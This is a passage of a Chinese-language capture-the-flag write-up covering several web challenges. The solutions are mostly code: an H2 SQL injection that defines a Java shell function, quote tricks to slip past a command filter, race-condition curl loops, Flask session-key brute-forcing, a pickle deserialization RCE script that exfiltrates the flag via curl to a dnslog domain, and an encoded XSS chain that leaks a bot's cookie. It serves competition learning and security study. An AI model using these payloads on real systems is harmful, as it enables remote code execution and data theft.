        int *y = (int*)(a + 5);
        de( *x, *y );
    }
    {
        int *x = (int*)(a + 0);
        int *y = (int*)(a + 4);
        de( *x, *y );
    }
    for( int i = 0; i < 32; i ++ )
        printf( "%c", a[i] );
}
```

Web

search4member

观察源码，发现基本上没有过滤 & 用的 h2db。

h2db 支持乱调函数，写个 getshell 函数即可。

```
简' UNION SELECT 1,2,3; CREATE ALIAS shell AS 'String shell(String s) throws Exception {
 ↪  return (new java.io.BufferedReader( new java.io.InputStreamReader( (
 ↪  java.lang.Runtime.getRuntime().exec("cat /flag")).getInputStream()))).readLine(); }';
 ↪  --
简' UNION SELECT 1,2,shell('cat /flag'); --
```

What the cow say?

这 cow 一打开就知道是 shell 生成的。

感觉屏蔽了不少，cat 和 flag 都扬了。

不过 ‘ 和 ’ 放了。

```
`ca't' /fl'a'g_is_here/fl'a'g_c0w54y`
```

Select More Courses

先弱密码爆破。

说是和时间赛跑，估计有数据竞争。

同时请求扩学分和选课即可。

```
while true; do; curl 'http://106.14.57.14:30303/api/expand' -X POST -H 'User-Agent:
 ↪  Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0' -H 'Accept:
 ↪  */*' -H 'Accept-Language: en,zh;q=0.7,ja;q=0.3' -H 'Accept-Encoding: gzip, deflate'
 ↪  -H 'Referer: http://106.14.57.14:30303/expand' -H 'Content-Type: application/json' -H
 ↪  'Origin: http://106.14.57.14:30303' -H 'DNT: 1' -H 'Connection: keep-alive' -H
 ↪  'Cookie:
 ↪  session=MTcwNzM2MTUzOHxEWDhFQVFMX2dBQUJFQUVRQUFBcV8OQUFBUVp6ZEhKcGJtY01DZOFJZFhObGNtNWhiV1VHYzNSeWF
 ↪  --data-raw '{"username":"ma5hr00m"}' ;done

while true; do curl 'http://106.14.57.14:31339/api/select' -X POST -H 'User-Agent:
 ↪  Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0' -H 'Accept:
 ↪  */*' -H 'Accept-Language: en,zh;q=0.7,ja;q=0.3' -H 'Accept-Encoding: gzip, deflate'
 ↪  -H 'Referer: http://106.14.57.14:31339/select' -H 'Content-Type: application/json' -H
 ↪  'Origin: http://106.14.57.14:31339' -H 'DNT: 1' -H 'Connection: keep-alive' -H
 ↪  'Cookie:
 ↪  session=MTcwNzM2MTUzOHxEWDhFQVFMX2dBQUJFQUVRQUFBcV8OQUFBUVp6ZEhKcGJtY01DZOFJZFhObGNtNWhiV1VHYzNSeWF
 ↪  --data-raw '{"id":1,"username":"ma5hr00m"}'; done
```

myflask

先暴力枚举 session key。

```
for i in $(seq -w 094300 095000); do echo $i; python ./flask_session_cookie_manager3.py
 ↪  decode -s $i -c "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcQ1nQ.eEdEPiB4IGcNhYrZB6nOyNffZO8";
 ↪  done
```

Pickle 的 RCE 一搜就有，拖个 payload 下来。

```
#!/usr/bin/python
#
# Pickle deserialization RCE exploit
# calfcrusher@inventati.org
#
# Usage: ./Pickle-PoC.py [URL]

import pickle
import base64
import requests
import sys

class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))
# class PickleRCE(object):
#     def __reduce__(self):
#         import os
#         return "command"

default_url = 'http://106.14.57.14:32512/flag'
url = default_url
command = 'curl `cat /flag`.s8e2v8wg.dnslog.pw'  # Reverse Shell Payload Change IP/PORT
pickled = 'pickle_data'  # This is the POST parameter of our vulnerable Flask app
session="eyJ1c2VybmFtZSI6ImFkbWluIn0.ZcQ3ZQ.7vbuJhvRrw5MMlTsrBMjrYJmusA"
cookie={'session': session}
payload = base64.b64encode(pickle.dumps(PickleRCE()))  # Crafting Payload
```

```
# payload = base64.b64encode(pickle.dumps("wtf"))  # Crafting Payload
p=requests.post(url, data={pickled: payload}, cookies=cookie)  # Sending POST request
print("send")
print(p.text)
```

梅开二度

先分析一手。只有 bot 访问 /flag 会将 flag 通过 Cookie 传给 flag。

我们能够控制 bot 访问到的网页。

考虑 xss，多次跳转并通过 dnslog 带出内容。

```
curl -vv 'http://106.14.57.14:31304/bot?url=http%3A
%2F%2F127%2E0%2E0%2E1%3A8080%2F%3Ftmpl%3D%7B%7B%2EQuer
y%2520%60a%60%7D%7D%26a%3D%253Cscript%253Ewindow%25
2Eonload%2520%253D%2520%2528%2529%253D%253E%257B%2520w
indow%252Elocation%252Ehref%253D%2522http%253A%252F
%252F127%252E0%252E0%252E1%253A8080%253Ftmpl%253D%257B
%257B%252EQuery%252520%2560a%2560%257D%257D%257B%25
7B%252ECookie%252520%2560flag%2560%257D%257D%257B%257B
%252EQuery%252520%2560b%2560%257D%257D%2526a%253D%2
5253Cscript%25253Ewindow%25252Eonload%252520%25253D%25
2520%252528%252529%25253D%25253E%25257B%252520b%252
53Ddocument%25252Ebody%25252EinnerHTML%25253B%252520wi
ndow%25252Elocation%25252Ehref%25253D%252527http%25
253A%25252F%25252F%252527%252520%25252B%252520b%25252E
trim%252528%252529%25252Esubstr%25252841%25252C5%25
2529%252520%25252B%252520%252527%25252Es8e2v8wg%25252E
dnslog%25252Epw%252527%25253B%25257D%25253B%25253C%
25252Fscript%25253E%25253Cbody%25253E%2526b%253D%25253
C%25252Fbody%25253E%2522%253B%2520%257D%253C%252Fsc
ript%253E%253Cimg%2520src%253D%2522http%253A%252F%252F
127%252E0%252E0%252E1%253A8080%252Fflag%2522%252F%2
53E
```

其中一个坑是 flag 有点小长，可以一点一点带出来。